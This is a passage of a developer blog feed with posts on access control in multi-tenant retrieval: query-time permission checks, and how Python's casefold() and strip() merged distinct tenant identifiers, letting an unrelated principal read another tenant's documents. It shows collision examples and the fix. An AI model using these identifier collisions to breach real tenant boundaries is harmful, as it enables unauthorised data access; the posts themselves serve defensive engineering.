&lt;/span&gt;&lt;span class="n"&gt;hits&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;allowed_users&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;   &lt;span class="c1"&gt;# the copy decides
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That copy is wrong the day after it is right, in three distinct ways, and on-behalf ships a deliberately wrong &lt;code&gt;SnapshotACLIndex&lt;/code&gt; (it raises a &lt;code&gt;UserWarning&lt;/code&gt; at construction) so the three leaks are demonstrated by executable tests instead of described by paragraphs: a revoked direct grant the snapshot keeps honouring, a group the user left that the snapshot still counts them into, a sharing link that expired after ingestion. Each test asserts both directions, leak present in the snapshot and absent from the query-time path, so the demonstration can't pass by both sides being broken.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdbgmxo1nezrx6dc0m87z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdbgmxo1nezrx6dc0m87z.png" alt="The live index and the snapshot index answering the same question after access changed at the source: three leaks, three mechanisms" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;
Same question, two indexes, after permissions moved. The snapshot believes 09:00 forever.



&lt;p&gt;The offline demo runs one synthetic tenant through the same question at 09:00 and at 12:00, permissions moving at lunchtime, the index never re-ingested. Between the two runs one user loses a memo and another loses everything, while the index still holds all five documents, and the snapshot section closes on the sentence I'd put on a slide: the snapshot cannot see any of it, "because the event it needed to observe happened after the only moment it ever looked."&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fetsw3t85djhuapoudyoo.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fetsw3t85djhuapoudyoo.gif" alt="The offline demo: one tenant, the same question as three users, then the access decay and the snapshot leaks" width="720" height="405"&gt;&lt;/a&gt;&lt;/p&gt;
The whole demo, deterministic, no keys. Every number in this post comes from it.



&lt;p&gt;The fix is ordering, twice over:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;candidates&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;candidates&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;              &lt;span class="c1"&gt;# a lexical gate, unscored
&lt;/span&gt;&lt;span class="n"&gt;decisions&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;source&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;can_open_many&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ids&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;      &lt;span class="c1"&gt;# the source answers, NOW
&lt;/span&gt;&lt;span class="n"&gt;entitled&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;candidates&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;proven&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt; &lt;span class="c1"&gt;# proof or absence, no third state
&lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;rank&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;entitled&lt;/span&gt;&lt;span class="p"&gt;)[:&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;                  &lt;span class="c1"&gt;# score last, cut last
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Entitlement runs before ranking, so a document the user can't open never competes for the top-k window. The check runs at query time because that is the only moment the answer is true for. Whatever can't be proven is excluded and counted, never served on faith: a denial carries its reason, a source outage darkens that source's documents instead of widening access, and a redundant guard re-verifies every hit that reaches the context, raising &lt;code&gt;EntitlementBreach&lt;/code&gt; instead of filtering silently, because a silent drop hides a real bug in the layer above.&lt;/p&gt;

&lt;h2&gt;
  
  
  What this does not settle
&lt;/h2&gt;

&lt;p&gt;Exactness cuts both ways. A user whose grant was written under some exotic spelling of their address stays denied under an ASCII-only fold. That is the chosen trade-off, and it fails in the closed direction; the merge fails in the open one.&lt;/p&gt;

&lt;p&gt;The live adapters sidestep folding almost entirely, by design. They do no ACL arithmetic: &lt;code&gt;can_open&lt;/code&gt; fetches the item as the user, with a token minted on the user's behalf, and a 200 is the proof while 403 and 404 are the denial. The email fold matters most in the offline permission models, which is exactly the code most teams would wave off as "just fixtures".&lt;/p&gt;

&lt;p&gt;And the live adapters have not yet been run against a real tenant. They implement the documented API contracts and pass the offline suite; the repo's RUNBOOK is the path to a real Microsoft 365 tenant and a Google Workspace domain, and until that walk happens the README refuses to claim it.&lt;/p&gt;

&lt;p&gt;What changed in my process is small and concrete: fakes and fixtures now go through the same pre-publish sweep as shipped code, the grep for &lt;code&gt;.lower(&lt;/code&gt; and &lt;code&gt;.casefold(&lt;/code&gt; near anything identity-shaped covers the whole tree, and every doctrine function gets at least one test that exercises it through the fakes' own call path. The Kelvin test is the first of those. A rule is exactly as wide as the set of callers forced through the function that implements it; everything outside that set is a README.&lt;/p&gt;

&lt;p&gt;The repo, with the demo, the three leak tests, and the RUNBOOK for a real tenant: &lt;a href="https://github.com/vinimabreu/on-behalf" rel="noopener noreferrer"&gt;github.com/vinimabreu/on-behalf&lt;/a&gt;&lt;/p&gt;

</description>
      <category>python</category>
      <category>rag</category>
      <category>security</category>
      <category>testing</category>
    </item>
    <item>
      <title>Python's casefold() merged two of my customers into one tenant</title>
      <dc:creator>Vinicius Pereira</dc:creator>
      <pubDate>Wed, 12 Aug 2026 18:17:44 +0000</pubDate>
      <link>https://dev.to/vinimabreu/pythons-casefold-merged-two-of-my-customers-into-one-tenant-1g75</link>
      <guid>https://dev.to/vinimabreu/pythons-casefold-merged-two-of-my-customers-into-one-tenant-1g75</guid>
      <description>&lt;p&gt;I spent a few days building a repo about multi-tenant retrieval. One knowledge base, many customers, and one promise: a customer can never retrieve another customer's documents. The filter runs before the candidate set is scored, the guard re-checks every chunk on the way out, every query lands in an audit log.&lt;/p&gt;

&lt;p&gt;Then I ran an adversarial pass whose only job was to break the promise rather than confirm it. It broke it in four lines of setup, and the hole was in the function I had written specifically to prevent identity confusion.&lt;/p&gt;

&lt;h2&gt;
  
  
  The line that was supposed to be boring
&lt;/h2&gt;

&lt;p&gt;Entitlement is compared on tenant identifiers, so identifiers get canonicalised once, at construction, and compared exactly afterwards:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;normalise_id&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;casefold&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The reasoning felt obvious. &lt;code&gt;" ACME "&lt;/code&gt; and &lt;code&gt;acme&lt;/code&gt; are the same customer, somebody will paste one with a trailing space eventually, and a fence that says "access denied" because of a space is a support ticket. &lt;code&gt;casefold()&lt;/code&gt; rather than &lt;code&gt;lower()&lt;/code&gt; because casefold is the Unicode-correct one, the one you are told to use for caseless comparison.&lt;/p&gt;

&lt;p&gt;That is exactly why it is wrong here.&lt;/p&gt;

&lt;h2&gt;
  
  
  The tenant that was two tenants
&lt;/h2&gt;

&lt;p&gt;The adversary created a customer called &lt;code&gt;Straße-Werke&lt;/code&gt; and gave a completely unrelated principal a grant on &lt;code&gt;strasse-werke&lt;/code&gt;. The unrelated principal read the documents.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Straße-Werke&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;casefold&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;strasse-werke&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;casefold&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="bp"&gt;True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;casefold()&lt;/code&gt; is designed for caseless matching, and caseless matching is deliberately many-to-one. It is not a case conversion, it is a mapping onto a common form, and several of those mappings collapse characters that are not case variants of each other at all:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ß&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;casefold&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;          &lt;span class="c1"&gt;# one character becomes two
&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;ss&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;K&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;casefold&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;     &lt;span class="c1"&gt;# KELVIN SIGN
&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;k&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ﬁ&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;casefold&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;     &lt;span class="c1"&gt;# LATIN SMALL LIGATURE FI
&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;fi&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ς&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;casefold&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;σ&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;casefold&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;   &lt;span class="c1"&gt;# final sigma
&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every one of those is a merge. Feed &lt;code&gt;casefold()&lt;/code&gt; two identifiers that an upstream registry considers distinct, and you get one entitlement key. Two customers become one customer.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwrsln4q6r9f4b0ulj4hb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwrsln4q6r9f4b0ulj4hb.png" alt="Two distinct tenant identifiers entering casefold and leaving as a single entitlement key" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this is worse than a normal access bug
&lt;/h2&gt;

&lt;p&gt;Nothing failed. That is the part worth sitting with.&lt;/p&gt;

&lt;p&gt;The filter ran correctly, against a key that was wrong. The candidate set was built correctly, from a key that was wrong. My guard, the deliberate second check that re-validates every chunk before it leaves, calls the same entitlement function, so it agreed. The audit log recorded a completely ordinary query:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;QUERY principal=svc-partner allow=[strasse-werke/*/*] deny=[] returned=3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There is no exception, no anomaly, no unusual pattern. A reviewer reading that line sees a principal reading documents it is entitled to read, because by the time anything is logged, the two tenants are already the same tenant. Every layer of defence in depth inherits the same wrong key, so depth buys you nothing. The mistake happened before the first layer ran.&lt;/p&gt;

&lt;h2&gt;
  
  
  Then the same bug again, wearing different clothes
&lt;/h2&gt;

&lt;p&gt;Having fixed the fold, I still had &lt;code&gt;strip()&lt;/code&gt;. &lt;code&gt;str.strip()&lt;/code&gt; with no argument removes all Unicode whitespace, not just the ASCII kind:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;kronos&lt;/span&gt;&lt;span class="se"&gt;\u3000&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;kronos&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;   &lt;span class="c1"&gt;# IDEOGRAPHIC SPACE
&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The same applies to &lt;code&gt;U+00A0&lt;/code&gt;, &lt;code&gt;U+2007&lt;/code&gt;, &lt;code&gt;U+1680&lt;/code&gt;, &lt;code&gt;U+205F&lt;/code&gt;, &lt;code&gt;U+0085&lt;/code&gt; and &lt;code&gt;U+2028&lt;/code&gt;. So a registry that enforces uniqueness on the raw string happily accepts &lt;code&gt;kronos&lt;/code&gt; and &lt;code&gt;kronos&lt;/code&gt; plus an ideographic space as two different customers, and my fence folds them into one.&lt;/p&gt;

&lt;p&gt;The detail that makes this a good trap: zero-width space and the other invisible characters that people usually test for, &lt;code&gt;U+200B&lt;/code&gt;, the soft hyphen, the byte order mark, are &lt;strong&gt;not&lt;/strong&gt; stripped. So a test suite that covers "invisible characters" in the obvious way passes while the actual merge path stays open.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fye53yey3ta18cbehsymr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fye53yey3ta18cbehsymr.png" alt="Seven Unicode whitespace code points that str.strip removes, next to four invisible characters it does not" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Two fixes I tried and threw away
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Use &lt;code&gt;lower()&lt;/code&gt; instead of &lt;code&gt;casefold()&lt;/code&gt;.&lt;/strong&gt; It reads like the conservative choice. It does not help:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;K&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;k&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Kelvin sign folds under &lt;code&gt;lower()&lt;/code&gt; too, because that mapping is simple case conversion, not full folding. Swapping the function narrows the hole without closing it, which is the worst outcome available: it feels fixed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reject non-ASCII identifiers at construction.&lt;/strong&gt; This closes it, and it is wrong for a different reason. It refuses legitimate identifiers from most of the world in order to fix a bug in my normalisation, and it hides the actual rule behind a character-set restriction that has nothing to do with the problem.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix
&lt;/h2&gt;

&lt;p&gt;Canonicalise as little as possible, and refuse anything that would need canonicalising to be safe:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;ASCII_FOLD&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;maketrans&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ascii_uppercase&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ascii_lowercase&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;ASCII_WHITESPACE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="se"&gt;\t\n\r\v\f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;normalise_id&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Trim ASCII whitespace, fold ASCII case, and nothing else.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ASCII_WHITESPACE&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;translate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ASCII_FOLD&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;Straße-Werke&lt;/code&gt; and &lt;code&gt;strasse-werke&lt;/code&gt; now stay two tenants. A tenant named with non-ASCII characters keeps working, and keeps its identity.&lt;/p&gt;

&lt;p&gt;Then the second half, which matters more than the first: anything still carrying whitespace or a non-printable character after the trim is refused at construction, naming the offending code point in the error. Not folded onto its neighbour, not silently accepted. A tenant id with an ideographic space in the middle of it is a data problem upstream, and the honest thing a fence can do is say so out loud instead of guessing which neighbour it meant.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0uzpjz5kfpqfc58e4bsm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0uzpjz5kfpqfc58e4bsm.png" alt="An identifier carrying an invisible character refused at construction, with the code point named in the error" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The general shape of it
&lt;/h2&gt;

&lt;p&gt;The lesson generalises past Unicode, and it is the reason I am writing this down rather than quietly pushing the patch.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;When a normalised value becomes a security key, normalisation is part of the attack surface.&lt;/strong&gt; Any many-to-one transform applied to an identity is a merge operation, and a merge between two identities is a privilege grant. Case folding, accent stripping, whitespace collapsing, punctuation removal, homoglyph mapping, lowercasing an email local part: all of them are helpful in a search box and all of them are dangerous the moment the output is compared for authorisation.&lt;/p&gt;

&lt;p&gt;Two questions worth asking of any such function:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Can two inputs that the system elsewhere considers distinct produce the same output?&lt;/li&gt;
&lt;li&gt;If they can, which layer is supposed to notice? If the answer is "the layer that compares the outputs", there is no such layer.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The reason I found this at all is that the adversarial pass was told to breach the fence, not to test it. A test written by the person who wrote the code asks "does it do what I meant". A test written to break it asks "what did I mean that was wrong". Those find different bugs, and the second kind is the kind that reaches production.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why the repo concentrates risk there on purpose
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F9nw2i6yh1zzgoxhhguzz.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F9nw2i6yh1zzgoxhhguzz.gif" alt="The same account asking the same question of the same corpus: three sections when the fence runs before the ranking, none at all when it runs after" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The repo's actual argument is older and simpler than the Unicode story. Most multi-tenant retrieval filters after the ranking, which means a leak needs one caller, one cache, one new endpoint to forget. Filtering before the candidate set is scored moves all of that risk into a single function.&lt;/p&gt;

&lt;p&gt;Which is precisely how I ended up here. Concentrating the risk is the right trade, and the bill it comes with is that the one function you concentrated it into is now the only thing worth attacking. That is why it carries 141 adversarial tests, and why four of them are about a character that is not a case variant of anything.&lt;/p&gt;

&lt;p&gt;The repo is at &lt;a href="https://github.com/vinimabreu/tenant-fence" rel="noopener noreferrer"&gt;github.com/vinimabreu/tenant-fence&lt;/a&gt;: the fence, the deliberately wrong version kept next to it so the suite can demonstrate the leak rather than describe it, and the tests that would have caught this on day one.&lt;/p&gt;

</description>
      <category>python</category>
      <category>security</category>
      <category>unicode</category>
      <category>ai</category>
    </item>
    <item>
      <title>My exactly-once refund paid twice, and 373 passing tests could never have caught it</title>
      <dc:creator>Vinicius Pereira</dc:creator>
      <pubDate>Tue, 04 Aug 2026 21:24:54 +0000</pubDate>
      <link>https://dev.to/vinimabreu/my-exactly-once-refund-paid-twice-and-373-passing-tests-could-never-have-caught-it-4g72</link>
      <guid>https://dev.to/vinimabreu/my-exactly-once-refund-paid-twice-and-373-passing-tests-could-never-have-caught-it-4g72</guid>
      <description>&lt;p&gt;I spent a week building a repo about making LangGraph agents trustworthy in production. Routing measured against labelled fixtures instead of vibes. A human gate before anything irreversible. Durable resume, so a process that dies mid-refund comes back and does not pay the customer twice.&lt;/p&gt;

&lt;p&gt;373 tests, all green. CI green on four Python versions. Then I ran an adversarial pass over it, whose only job was to break my claims rather than confirm them, and the first thing it broke was the one I had written the repo to prove.&lt;/p&gt;

&lt;h2&gt;
  
  
  The claim
&lt;/h2&gt;

&lt;p&gt;The centre of the whole thing is one sentence from my README:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;INSERT OR IGNORE&lt;/code&gt; then read. The claim and the check are one statement, so two attempts cannot both believe they are first.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Standard idempotency. Every effectful action gets a key, the key is inserted once, and whoever loses the race replays the stored result instead of running the handler again. My tests hammered it: eight concurrent processes on one key, one handler execution, seven replays. Crash injected at every boundary in the run, resumed from disk, effect count unchanged.&lt;/p&gt;

&lt;h2&gt;
  
  
  The bug
&lt;/h2&gt;

&lt;p&gt;The key was built like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;action_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;digest&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
